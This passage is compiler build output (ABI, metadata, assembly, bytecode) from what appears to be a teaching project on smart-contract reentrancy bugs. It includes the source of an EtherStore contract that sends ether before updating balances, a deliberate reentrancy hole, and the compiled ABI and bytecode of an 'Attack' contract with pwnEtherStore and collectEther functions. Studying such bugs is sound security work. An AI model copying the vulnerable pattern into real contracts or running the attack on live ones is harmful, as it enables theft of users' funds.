AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x31F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x333 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x3BB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LT SHR SWAP1 ADDMOD 0x21 0xbb 0x1e OR DUP3 0x4f 0xec 0x5e 0x29 JUMPI 0xcc 0xd8 MOD 0xb1 BALANCE AND 0x2a CREATE RETURNDATACOPY MSTORE 0x2c 0x4c BALANCE 0xbe 0x4c PUSH31 0x6FE30029000000000000000000000000000000000000000000000000000000 ", | |
"sourceMap": "53:799:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;777:7;756:10;;;;;;;;;;;:18;;;:28;752:92;;;800:10;;;;;;;;;;;:24;;;825:7;800:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;800:33:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;800:33:0;;;;752:92;53:799;282:296;;;;;;75:28;;8:9:-1;5:2;;;30:1;27;20:12;5:2;75:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;584:81;;8:9:-1;5:2;;;30:1;27;20:12;5:2;584:81:0;;;;;;282:296;392:7;379:9;:20;;371:29;;;;;;;;461:10;;;;;;;;;;;:23;;;491:7;461:40;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;461:40:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;461:40:0;;;;;538:10;;;;;;;;;;;:24;;;563:7;538:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;538:33:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;538:33:0;;;;282:296::o;75:28::-;;;;;;;;;;;;;:::o;584:81::-;625:10;:19;;:33;645:4;:12;;;625:33;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;625:33:0;584:81::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "200400", | |
"executionCost": "20598", | |
"totalCost": "220998" | |
}, | |
"external": { | |
"": "infinite", | |
"collectEther()": "infinite", | |
"etherStore()": "464", | |
"pwnEtherStore()": "infinite" | |
} | |
}, | |
"methodIdentifiers": { | |
"collectEther()": "ff11e1db", | |
"etherStore()": "acd2e6e5", | |
"pwnEtherStore()": "6289d385" | |
} | |
}, | |
"abi": [ | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "pwnEtherStore", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "etherStore", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "collectEther", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"name": "_etherStoreAddress", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "fallback" | |
} | |
] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"compiler": { | |
"version": "0.4.26+commit.4563c3fc" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "pwnEtherStore", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "etherStore", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "collectEther", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"name": "_etherStoreAddress", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "fallback" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"userdoc": { | |
"methods": {} | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"bit-smartcontract-bug/reentrancy/Attack.sol": "Attack" | |
}, | |
"evmVersion": "byzantium", | |
"libraries": {}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/Attack.sol": { | |
"keccak256": "0xf7df91610639806a2ca8d75cc00003e4255deda92da8ba88205872b05fbb9f49", | |
"urls": [ | |
"bzzr://4fe5efe12ca86e4c13502d2838b4ed700cbc49853658acbdb5f70f67f259c702" | |
] | |
}, | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"keccak256": "0xb7f87cf33041b451ad3adca18292a695410cbcda6375797f34dc30d1a9c2323a", | |
"urls": [ | |
"bzzr://c7065c996fe4cc3ffef1380b7797b23c739a1fa17f7c4bfe024ced4af21da8b2" | |
] | |
} | |
}, | |
"version": 1 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": "24207bf6413e2cbed2764b8f5ade6268", | |
"_format": "hh-sol-build-info-1", | |
"solcVersion": "0.4.26", | |
"solcLongVersion": "0.4.26+commit.4563c3fc", | |
"input": { | |
"language": "Solidity", | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"content": "pragma solidity ^0.4.26;\ncontract EtherStore {\n uint256 public withdrawalLimit = 1 ether;\n mapping(address => uint256) public lastWithdrawTime;\n mapping(address => uint256) public balances;\n\n function depositFunds() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdrawFunds (uint256 _weiToWithdraw) public {\n require(balances[msg.sender] >= _weiToWithdraw);\n // limit the withdrawal\n require(_weiToWithdraw <= withdrawalLimit);\n // limit the time allowed to withdraw\n require(now >= lastWithdrawTime[msg.sender] + 1 weeks);\n require(msg.sender.call.value(_weiToWithdraw)());\n balances[msg.sender] -= _weiToWithdraw;\n lastWithdrawTime[msg.sender] = now;\n }\n }\n " | |
} | |
}, | |
"settings": { | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": [ | |
"ast" | |
], | |
"*": [ | |
"abi", | |
"metadata", | |
"devdoc", | |
"userdoc", | |
"storageLayout", | |
"evm.legacyAssembly", | |
"evm.bytecode", | |
"evm.deployedBytecode", | |
"evm.methodIdentifiers", | |
"evm.gasEstimates", | |
"evm.assembly" | |
] | |
} | |
}, | |
"remappings": [] | |
} | |
}, | |
"output": { | |
"contracts": { | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"EtherStore": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"evm": { | |
"assembly": " /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n mstore(0x40, 0x80)\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":84:91 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n 0x0\n sstore\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n pop\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x0\n codecopy\n 0x0\n return\nstop\n\nsub_0: assembly {\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n mstore(0x40, 0x80)\n jumpi(tag_1, lt(calldatasize, 0x4))\n calldataload(0x0)\n 0x100000000000000000000000000000000000000000000000000000000\n swap1\n div\n 0xffffffff\n and\n dup1\n 0x1031ec31\n eq\n tag_2\n jumpi\n dup1\n 0x155dd5ee\n eq\n tag_3\n jumpi\n dup1\n 0x27e235e3\n eq\n tag_4\n jumpi\n dup1\n 0x7ddfe78d\n eq\n tag_5\n jumpi\n dup1\n 0xe2c41dbc\n eq\n tag_6\n jumpi\n tag_1:\n 0x0\n dup1\n revert\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n tag_2:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_7\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_7:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n pop\n tag_8\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_9)\n tag_8:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_3:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_10\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_10:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n tag_11\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_12)\n tag_11:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n tag_4:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_13\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_13:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n pop\n tag_14\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_15)\n tag_14:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n tag_5:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_16\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_16:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n pop\n tag_17\n jump(tag_18)\n tag_17:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n tag_6:\n tag_19\n jump(tag_20)\n tag_19:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n tag_9:\n mstore(0x20, 0x1)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_12:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":396:410 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:380 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:392 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":381:391 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:392 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:410 balances[msg.sender] >= _weiToWithdraw */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":364:411 require(balances[msg.sender] >= _weiToWithdraw) */\n iszero\n iszero\n tag_22\n jumpi\n 0x0\n dup1\n revert\n tag_22:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":479:494 withdrawalLimit */\n sload(0x0)\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":461:475 _weiToWithdraw */\n dup2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":461:494 _weiToWithdraw <= withdrawalLimit */\n gt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":453:495 require(_weiToWithdraw <= withdrawalLimit) */\n iszero\n iszero\n tag_23\n jumpi\n 0x0\n dup1\n revert\n tag_23:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":597:604 1 weeks */\n 0x93a80\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:582 lastWithdrawTime */\n 0x1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:594 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":583:593 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:594 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:604 lastWithdrawTime[msg.sender] + 1 weeks */\n add\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":559:562 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":559:604 now >= lastWithdrawTime[msg.sender] + 1 weeks */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":551:605 require(now >= lastWithdrawTime[msg.sender] + 1 weeks) */\n iszero\n iszero\n tag_24\n jumpi\n 0x0\n dup1\n revert\n tag_24:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:633 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:638 msg.sender.call */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":645:659 _weiToWithdraw */\n dup2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:662 msg.sender.call.value(_weiToWithdraw)() */\n mload(0x40)\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup8\n gas\n call\n swap3\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":615:663 require(msg.sender.call.value(_weiToWithdraw)()) */\n iszero\n iszero\n tag_25\n jumpi\n 0x0\n dup1\n revert\n tag_25:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":697:711 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:681 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:693 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":682:692 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:693 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:711 balances[msg.sender] -= _weiToWithdraw */\n dup3\n dup3\n sload\n sub\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":752:755 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:737 lastWithdrawTime */\n 0x1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:749 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":738:748 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:749 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:755 lastWithdrawTime[msg.sender] = now */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n tag_15:\n mstore(0x20, 0x2)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n tag_18:\n sload(0x0)\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n tag_20:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":277:286 msg.value */\n callvalue\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:261 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:273 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":262:272 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:273 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:286 balances[msg.sender] += msg.value */\n dup3\n dup3\n sload\n add\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n jump\t// out\n\n auxdata: 0xa165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029\n}\n", | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x1C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x3B0 DUP1 PUSH2 0x2C PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE 